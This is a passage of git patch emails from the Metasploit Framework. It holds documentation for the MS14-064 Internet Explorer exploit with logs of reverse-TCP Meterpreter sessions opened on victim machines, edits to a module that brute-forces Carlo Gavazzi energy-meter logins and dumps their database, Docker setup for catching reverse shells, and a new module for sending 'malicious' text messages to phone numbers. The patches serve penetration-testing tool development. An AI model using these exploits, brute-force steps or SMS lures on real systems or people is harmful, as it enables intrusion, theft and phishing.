Explorer 8.0.6001.18702. The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.207`. + +``` +msf > use exploit/windows/browser/ms14_064_ole_code_execution +msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3 +LHOST => 192.168.2.3 +msf exploit(ms14_064_ole_code_execution) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.3:4444 +msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/hGA1Ux +[*] Local IP: http://192.168.2.3:8080/hGA1Ux +[*] Server started. +[*] 192.168.2.207 ms14_064_ole_code_execution - Gathering target information for 192.168.2.207 +[*] 192.168.2.207 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.207 +[*] 192.168.2.207 ms14_064_ole_code_execution - Sending exploit... +[*] 192.168.2.207 ms14_064_ole_code_execution - Sending VBS stager +[*] Sending stage (957487 bytes) to 192.168.2.207 +[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.207:1299) at 2017-03-01 19:07:12 +0100 + +msf exploit(ms14_064_ole_code_execution) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : MACHINE +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +``` + +Example usage against a Windows 7 Professional SP1 x64 running Internet Explorer 8.0.7601.17514. The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.208`. Unlike on the Windows XP, target victim will see a popup dialog apear and they will have to allow the execution of the PowerShell script for the exploit to work. You need to set `AllowPowershellPrompt` option to `true` otherwise the exploit won't work on Windows 7. + +``` +msf > use exploit/windows/browser/ms14_064_ole_code_execution +msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3 +LHOST => 192.168.2.3 +msf exploit(ms14_064_ole_code_execution) > set AllowPowershellPrompt true +AllowPowershellPrompt => true +msf exploit(ms14_064_ole_code_execution) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.3:4444 +msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/6tdgNjLVij3zs +[*] Local IP: http://192.168.2.3:8080/6tdgNjLVij3zs +[*] Server started. +[*] 192.168.2.208 ms14_064_ole_code_execution - Gathering target information for 192.168.2.208 +[*] 192.168.2.208 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.208 +[*] 192.168.2.208 ms14_064_ole_code_execution - Sending exploit... +[*] Sending stage (957487 bytes) to 192.168.2.208 +[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.208:49197) at 2017-03-01 19:35:12 +0100 + +msf exploit(ms14_064_ole_code_execution) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WINDOWS7_X64 +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +``` From d9f5b75dc5e6eb1fa18810d9872a176c33ffe6bd Mon Sep 17 00:00:00 2001 From: Noah Berman <noah@noahberman.org> Date: Wed, 1 Mar 2017 14:53:49 -0700 Subject: [PATCH 278/426] warn when lhost set to 127.0.0.1 --- lib/msf/ui/console/command_dispatcher/core.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index bb1d2bbc32..48cc87b331 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1541,6 +1541,14 @@ class Core @cache_payloads = nil end + # Raise an alert if LHOST is set to 127.0.0.1 + name = args[0] + ip = args[1] + + if (name.upcase == "LHOST" && ip == "127.0.0.1") + print_error("You may experience errors with this choice of IP.") + end + # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) print_error("The value specified for #{name} is not valid.") From f91328b12213a9972ac5fc664754638eab0164a3 Mon Sep 17 00:00:00 2001 From: Noah Berman <noah@noahberman.org> Date: Wed, 1 Mar 2017 15:00:15 -0700 Subject: [PATCH 279/426] modify warning wording --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 48cc87b331..1cc17f6a8f 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1546,7 +1546,7 @@ class Core ip = args[1] if (name.upcase == "LHOST" && ip == "127.0.0.1") - print_error("You may experience errors with this choice of IP.") + print_error("You may experience errors with this choice of address for LHOST.") end # If the driver indicates that the value is not valid, bust out. From 79c01a9577dbf34303fd42aaaf1bd0d0e28e5cc7 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 2 Mar 2017 01:24:27 -0600 Subject: [PATCH 280/426] Fix ancient copypasta of Aux to Post Specifically a crash in the run command's help. --- lib/msf/ui/console/command_dispatcher/post.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb index 7b64a01098..7400d6b796 100644 --- a/lib/msf/ui/console/command_dispatcher/post.rb +++ b/lib/msf/ui/console/command_dispatcher/post.rb @@ -63,7 +63,7 @@ class Post end # - # Reloads an auxiliary module and executes it + # Reloads a post module and executes it # def cmd_rerun(*args) # Stop existing job and reload the module @@ -75,7 +75,7 @@ class Post alias cmd_rexploit cmd_rerun # - # Executes an auxiliary module + # Executes a post module # def cmd_run(*args) opt_str = nil @@ -144,7 +144,7 @@ class Post print_line "Usage: run [options]" print_line print_line "Launches a post module." - print @@auxiliary_opts.usage + print @@post_opts.usage end alias cmd_exploit_help cmd_run_help From 23474dfc70e6369c26ecb60e12c32d105b1e9838 Mon Sep 17 00:00:00 2001 From: Noah Berman <noah@noahberman.org> Date: Thu, 2 Mar 2017 09:46:03 -0700 Subject: [PATCH 281/426] change print_error to print_warning --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 1cc17f6a8f..b050ae585a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1546,7 +1546,7 @@ class Core ip = args[1] if (name.upcase == "LHOST" && ip == "127.0.0.1") - print_error("You may experience errors with this choice of address for LHOST.") + print_warning("You may experience errors with this choice of address for LHOST.") end # If the driver indicates that the value is not valid, bust out. From 6ccd3c71e998a588e55b3b8f67c0181a2441ee74 Mon Sep 17 00:00:00 2001 From: defektive <sirbradleyd@gmail.com> Date: Mon, 18 Jul 2016 12:38:57 -0600 Subject: [PATCH 282/426] Dockerfile and Docker Compose for Metasploit Adds a basic Dockerfile and docker-compose config. `docker-compose.yml` adds a named volume for postgres so data should persist. `$HOME/.msf4` will be mounted to `/root/.msf4` by default. port 4444 is exposed by default Basic Usage: docker/bin/msfconsole docker/bin/msfvenom --- .dockerignore | 95 +++++++++++++++++++ .gitignore | 3 + docker-compose.yml | 24 +++++ docker/Dockerfile | 47 +++++++++ docker/README.md | 65 +++++++++++++ docker/bin/msfconsole | 21 ++++ docker/bin/msfvenom | 21 ++++ .../docker-compose.development.override.yml | 9 ++ docker/msfconsole.rc | 5 + 9 files changed, 290 insertions(+) create mode 100644 .dockerignore create mode 100644 docker-compose.yml create mode 100644 docker/Dockerfile create mode 100644 docker/README.md create mode 100755 docker/bin/msfconsole create mode 100755 docker/bin/msfvenom create mode 100644 docker/docker-compose.development.override.yml create mode 100644 docker/msfconsole.rc diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000000..d79466af1d --- /dev/null +++ b/.dockerignore @@ -0,0 +1,95 @@ +.dockerignore +.gitignore +.env* +docker-compose*.yml +docker/ +!docker/msfconsole.rc +README.md + +.bundle +Gemfile.local +Gemfile.local.lock +# Rubymine project directory +.idea +# Sublime Text project directory (not created by ST by default) +.sublime-project +# RVM control file, keep this to avoid backdooring Metasploit +.rvmrc +# Allow for a local choice of (unsupported / semi-supported) ruby versions +# See PR #4136 for usage, but example usage for rvm: +# rvm --create --versions-conf use 2.1.4@metasploit-framework +# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run: +# rbenv shell 2.1.4 +.versions.conf +# YARD cache directory +.yardoc +# Mac OS X files +.DS_Store +# database config for testing +config/database.yml +# target config file for testing +features/support/targets.yml +# simplecov coverage data +coverage +doc/ +external/source/meterpreter/java/bin +external/source/meterpreter/java/build +external/source/meterpreter/java/extensions +external/source/javapayload/bin +external/source/javapayload/build +# Java binary ignores. Replace the 5 above with this once we're merged. +external/source/javapayload/*/.classpath +external/source/javapayload/*/.project +external/source/javapayload/*/.settings +external/source/javapayload/*/bin +external/source/javapayload/*/target +external/source/javapayload/*/*/.classpath +external/source/javapayload/*/*/.project +external/source/javapayload/*/*/.settings +external/source/javapayload/*/*/bin +external/source/javapayload/*/*/target +# Packaging directory +pkg +tags +*.swp +*.orig +*.rej +*~ +# Ignore backups of retabbed files +*.notab + +# ignore Visual Studio external source garbage +*.suo +*.sdf +*.opensdf +*.user + +# Rails log directory +/log +# Rails tmp directory +/tmp + +# ignore release/debug folders for exploits +external/source/exploits/**/Debug +external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the metasploit-payloads gem. +data/meterpreter/*.dll +data/meterpreter/*.php +data/meterpreter/*.py +data/meterpreter/*.bin +data/meterpreter/*.jar +data/meterpreter/*.lso +data/android +data/java + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll + +# Avoid checking in metakitty, the source for +# https://rapid7.github.io/metasploit-framework. It's an orphan branch. +/metakitty +.vagrant diff --git a/.gitignore b/.gitignore index d128094e0b..49b76a8f8b 100644 --- a/.gitignore +++ b/.gitignore @@ -85,3 +85,6 @@ data/meterpreter/ext_server_pivot.*.dll # https://rapid7.github.io/metasploit-framework. It's an orphan branch. /metakitty .vagrant + +# local docker compose overrides +docker-compose.local* diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000000..adadd36613 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,24 @@ +version: '2' +services: + ms: &ms + image: metasploit + build: + context: . + dockerfile: ./docker/Dockerfile + environment: + DATABASE_URL: postgres://postgres@db:5432/msf + links: + - db + ports: + - 4444:4444 + volumes: + - $HOME/.msf4:/root/.msf4 + + db: + image: postgres:9.6 + volumes: + - pg_data:/var/lib/postgresql/data + +volumes: + pg_data: + driver: local diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000000..0e220d1290 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,47 @@ +FROM ruby:2.3-alpine +MAINTAINER Rapid7 + +ARG BUNDLER_ARGS="--system --jobs=8" +ENV APP_HOME /usr/src/metasploit-framework/ +WORKDIR $APP_HOME + +COPY Gemfile* m* Rakefile $APP_HOME +COPY lib $APP_HOME/lib + +RUN apk update && \ + apk add \ + ruby-bigdecimal \ + ruby-bundler \ + ruby-io-console \ + autoconf \ + bison \ + subversion \ + git \ + sqlite \ + nmap \ + libxslt \ + postgresql \ + ncurses \ + && apk add --virtual .ruby-builddeps \ + build-base \ + ruby-dev \ + libffi-dev\ + openssl-dev \ + readline-dev \ + sqlite-dev \ + postgresql-dev \ + libpcap-dev \ + libxml2-dev \ + libxslt-dev \ + yaml-dev \ + zlib-dev \ + ncurses-dev \ + bison \ + autoconf \ + && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ + && bundle install $BUNDLER_ARGS \ + && apk del .ruby-builddeps \ + && rm -rf /var/cache/apk/* + +ADD ./ $APP_HOME +CMD ["./msfconsole", "-r", "docker/msfconsole.rc"] diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 0000000000..b5143662f3 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,65 @@ +# Metasploit in Docker +## Getting Started + +To run `msfconsole` +```bash +docker-compose run --rm --service-ports ms +``` + +To run `msfvenom` +```bash +docker-compose run --rm ms ./msfvenom +``` + +### I don't like typing `docker-compose --rm ...` + +We have included some binstubs `./bin`, you can symlink them to your path. + +Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root: + +```bash +ln -s `pwd`/docker/bin/msfconsole $HOME/bin/ +ln -s `pwd`/docker/bin/msfvenom $HOME/bin/ +``` + +### But I want reverse shells... + +By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip +of your host machine. + +If you want to expose more ports, or have `LHOST` prepopulated with a specific +value; you'll need to setup a local docker-compose override for this. + +Create `docker/docker-compose.local.override.yml` with: +```yml +version: '2' +services: + ms: + environment: + # example of setting LHOST + LHOST: 10.0.8.2 + # example of adding more ports + ports: + - 8080:8080 +``` + +Make sure you set `LHOST` to valid hostname that resolves to your host machine. + +Now you need to set the `COMPOSE_FILE` environment variable to load your local +override. + +```bash +echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env +``` +Now you should be able get reverse shells working + +## Developing + +To setup you environment for development, you need to `docker/docker-compose.development.override.yml` +to your `COMPOSE_FILE` environment variable. + +If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this: + +```bash +echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env +``` diff --git a/docker/bin/msfconsole b/docker/bin/msfconsole new file mode 100755 index 0000000000..f4c47eda48 --- /dev/null +++ b/docker/bin/msfconsole @@ -0,0 +1,21 @@ +#! /bin/bash + +if [[ -z "$MSF_PATH" ]]; then + path=`dirname $0` + + # check for ./docker/msfconsole.rc + if [[ ! -f $path/../msfconsole.rc ]] ; then + + # we are not inside the project + realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;} + + # determine script path + pushd $(dirname $(realpath $0)) > /dev/null + path=$(pwd) + popd > /dev/null + fi + MSF_PATH=$(dirname $(dirname $path)) +fi + +cd $MSF_PATH +docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@" diff --git a/docker/bin/msfvenom b/docker/bin/msfvenom new file mode 100755 index 0000000000..2b12210b4f --- /dev/null +++ b/docker/bin/msfvenom @@ -0,0 +1,21 @@ +#! /bin/bash + +if [[ -z "$MSF_PATH" ]]; then + path=`dirname $0` + + # check for ./docker/msfconsole.rc + if [[ ! -f $path/../msfconsole.rc ]] ; then + + # we are not inside the project + realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;} + + # determine script path + pushd $(dirname $(realpath $0)) > /dev/null + path=$(pwd) + popd > /dev/null + fi + MSF_PATH=$(dirname $(dirname $path)) +fi + +cd $MSF_PATH +docker-compose run --rm --service-ports ms ./msfvenom "$@" diff --git a/docker/docker-compose.development.override.yml b/docker/docker-compose.development.override.yml new file mode 100644 index 0000000000..84157606af --- /dev/null +++ b/docker/docker-compose.development.override.yml @@ -0,0 +1,9 @@ +version: '2' + +services: + ms: &ms + environment: + DATABASE_URL: postgres://postgres@db:5432/msf_dev + + volumes: + - .:/usr/src/app diff --git a/docker/msfconsole.rc b/docker/msfconsole.rc new file mode 100644 index 0000000000..089ec84b30 --- /dev/null +++ b/docker/msfconsole.rc @@ -0,0 +1,5 @@ +<ruby> +run_single("setg LHOST #{ENV['LHOST']}") if ENV['LHOST'] +run_single("setg LPORT #{ENV['LPORT']}") if ENV['LPORT'] +run_single("db_connect #{ENV['DATABASE_URL'].gsub('postrgres://', '')}") if ENV['DATABASE_URL'] +</ruby> From 6bd09c142f29988e8d6642fe7c083323b58f8702 Mon Sep 17 00:00:00 2001 From: juushya <KarnGaneshen@gmail.com> Date: Fri, 3 Mar 2017 00:53:17 +0530 Subject: [PATCH 283/426] Minor edits --- .../scanner/http/gavazzi_em_login_loot.md | 6 +++--- .../scanner/http/gavazzi_em_login_loot.rb | 16 ++++++---------- 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md index 61d49c431f..357b0fb84d 100644 --- a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -1,6 +1,6 @@ This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. -The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. +The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include: @@ -27,9 +27,9 @@ msf auxiliary(gavazzi_em_login_loot) > run [+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" [+] 1.3.3.7:80 - Firmware version A8_U03... [+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: "" -[*] 1.3.3.7 - dumping EWplant.db +[*] 1.3.3.7:80 - dumping EWplant.db [+] 1.3.3.7:80 - EWplant.db retrieved successfully! -[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.bin +[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.db [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 60f395ba5a..bfe9b56912 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', 'Description' => %{ - This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. }, 'References' => [ @@ -258,16 +258,12 @@ class MetasploitModule < Msf::Auxiliary end if res && res.code == 200 - print_status("#{rhost} - dumping EWplant.db") + print_status("#{rhost}:#{rport} - dumping EWplant.db") print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") - path = store_loot( - 'EWplant.db', - 'SQLite_db/text', - rhost, - res.body, - rport, - 'Carlo Gavazzi Energy Meter - EWplant.db' - ) + loot_name = 'EWplant.db' + loot_type = 'SQLite_db/text' + loot_desc = 'Carlo Gavazzi EM - EWplant.db' + path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc) print_good("#{rhost}:#{rport} - File saved in: #{path}") else vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") From 6ad8afb8b3eae33e979938a4d68ae8042d1c80da Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 2 Mar 2017 16:47:55 -0600 Subject: [PATCH 284/426] Add API to send a text message (SMS) to mobile devices --- .../modules/auxiliary/client/sms/send_text.md | 121 ++++++++++++++++++ lib/msf/core/auxiliary/mixins.rb | 2 + lib/msf/core/auxiliary/sms.rb | 64 +++++++++ lib/rex/proto.rb | 1 + lib/rex/proto/sms.rb | 4 + lib/rex/proto/sms/client.rb | 77 +++++++++++ lib/rex/proto/sms/exception.rb | 10 ++ lib/rex/proto/sms/model.rb | 26 ++++ lib/rex/proto/sms/model/smtp.rb | 62 +++++++++ modules/auxiliary/client/sms/send_text.rb | 34 +++++ spec/lib/rex/proto/sms/client_spec.rb | 53 ++++++++ spec/lib/rex/proto/sms/model/smtp_spec.rb | 57 +++++++++ 12 files changed, 511 insertions(+) create mode 100644 documentation/modules/auxiliary/client/sms/send_text.md create mode 100644 lib/msf/core/auxiliary/sms.rb create mode 100644 lib/rex/proto/sms.rb create mode 100644 lib/rex/proto/sms/client.rb create mode 100644 lib/rex/proto/sms/exception.rb create mode 100644 lib/rex/proto/sms/model.rb create mode 100644 lib/rex/proto/sms/model/smtp.rb create mode 100644 modules/auxiliary/client/sms/send_text.rb create mode 100644 spec/lib/rex/proto/sms/client_spec.rb create mode 100644 spec/lib/rex/proto/sms/model/smtp_spec.rb diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md new file mode 100644 index 0000000000..7f1fb23e99 --- /dev/null +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -0,0 +1,121 @@ +The auxiliary/client/sms/send_text module allows you to send a malicious text/link to a collection +of phone numbers of the same carrier. + +In order to use this module, you must set up your own SMTP server to deliver messages. Popular +mail services such as Gmail, Yahoo, Live should work fine. + +## Module Options + +**CELLNUMBERS** + +The phone number (or numbers) you want to send the text to. If you wish to target against multiple +phone numbers, ideally you want to create the list in a text file (one number per line), and then +load the CELLNUMBERS option like this: + +``` +set CELLNUMBER file:///tmp/att_phone_numbers.txt +``` + +Remember that these phone numbers must be the same carrier. + +**SMSCARRIER** + +The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about +supported carriers. + +**SMSMESSAGE** + +The text message you want to send. + +**SMTPADDRESS** + +The mail server address you wish to use to send the text messages. + +**SMTPPORT** + +The mail server port. By default, this is 25. + +**SMTPUSERNAME** + +The username you use to log into the SMTP server. + +**SMTPPASSWORD** + +The password you use to log into the SMTP server. + +**SMTPFROM** + +The FROM field of SMTP. + +## Supported Carrier Gateways + +The module supports the following carriers: + +* AllTel +* AT&T Wireless +* Boost Mobile +* Cricket Wireless +* Sprint +* T-Mobile +* Verizon +* Virgin Mobile + +## Finding the Carrier for a Phone Number + +Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out +how to identify the carrier of a phone number. There are many services that can do this, such as: + +http://freecarrierlookup.com/ + +## Gmail SMTP Example + +Gmail is a popular mail server, so we will use this as a demonstration. + +Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en). + +After creating the application password, configure auxiliary/client/sms/send_text this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set smsmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.gmail.com``` +* ```set smtpport 587``` +* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end) +* ```set smtppassword [APPLICATION PASSWORD]``` + +And you should be ready to go. + +## Yahoo SMTP Example + +Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail), +so we will demonstrate as well. + +Before using the module, you must do this to your Yahoo account: + +1. Sign in to Yahoo Mail. +2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps) +3. Turn on Allow apps that use less secure sign in. + +After configuring your Yahoo account, configure auxiliary/client/sms/send_text this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set smsmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.mail.yahoo.com``` +* ```set smtpport 25``` +* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com``` +* ```set smtppassword [YAHOO LOGIN PASSWORD]``` + +And you're good to go. + +## Demonstration + +After setting up your mail server and the module, your output should look similar to this: + +``` +msf auxiliary(send_text) > run + +[*] Sending text (16 bytes) to 1 number(s)... +[*] Done. +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 46372750ea..ee34547d0c 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -28,3 +28,5 @@ require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' + +require 'msf/core/auxiliary/sms' diff --git a/lib/msf/core/auxiliary/sms.rb b/lib/msf/core/auxiliary/sms.rb new file mode 100644 index 0000000000..7c15ac319c --- /dev/null +++ b/lib/msf/core/auxiliary/sms.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +### +# +# The Msf::Auxiliary::Sms mixin allows you to send a text message to +# multiple phones of the same carrier. A valid SMTP server is needed. +# +## + +module Msf + module Auxiliary::Sms + + def initialize(info={}) + super + + register_options( + [ + OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), + OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), + OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), + OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), + OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]), + OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']), + OptString.new('SMSMESSAGE', [true, 'The text message to send']) + ], Auxiliary::Sms) + + register_advanced_options( + [ + OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]), + OptString.new('HeloDdomain', [false, 'The domain to use for HELO', '']) + ], Auxiliary::Sms) + end + + + # Sends a text message to multiple numbers of the same service provider (carrier). + # + # @example This sends a text via Gmail + # smtp = Rex::Proto::Sms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass) + # sms = Rex::Proto::Sms::Client.new(carrier: :verizon, smtp_server: smtp) + # numbers = ['1112223333'] + # sms.send_text_to_phones(numbers, 'Hello from Gmail') + # + # @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier) + # @param message [String] The text to send. + # + # @return [void] + def send_text(phone_numbers, message) + smtp = Rex::Proto::Sms::Model::Smtp.new( + address: datastore['SMTPADDRESS'], + port: datastore['SMTPPORT'], + username: datastore['SMTPUSERNAME'], + password: datastore['SMTPPASSWORD'], + login_type: datastore['SmtpLoginType'].to_sym, + from: datastore['SMTPFROM'] + ) + + carrier = datastore['SMSCARRIER'].to_sym + sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp) + sms.send_text_to_phones(phone_numbers, message) + end + + end +end diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index 8696fcd5ea..2f255134aa 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -7,6 +7,7 @@ require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' require 'rex/proto/rmi' +require 'rex/proto/sms' module Rex module Proto diff --git a/lib/rex/proto/sms.rb b/lib/rex/proto/sms.rb new file mode 100644 index 0000000000..bac7a0e9d6 --- /dev/null +++ b/lib/rex/proto/sms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/sms/exception' +require 'rex/proto/sms/model' diff --git a/lib/rex/proto/sms/client.rb b/lib/rex/proto/sms/client.rb new file mode 100644 index 0000000000..6a9cd46deb --- /dev/null +++ b/lib/rex/proto/sms/client.rb @@ -0,0 +1,77 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Sms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Sms::Model::GATEWAYS) + # @option opts [Rex::Proto::Sms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Sms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a text to multiple recipients. + # + # @param phone_numbers [<String>Array] An array of phone numbers. + # @param message [String] The text message to send. + # + # @return [void] + def send_text_to_phones(phone_numbers, message) + carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| 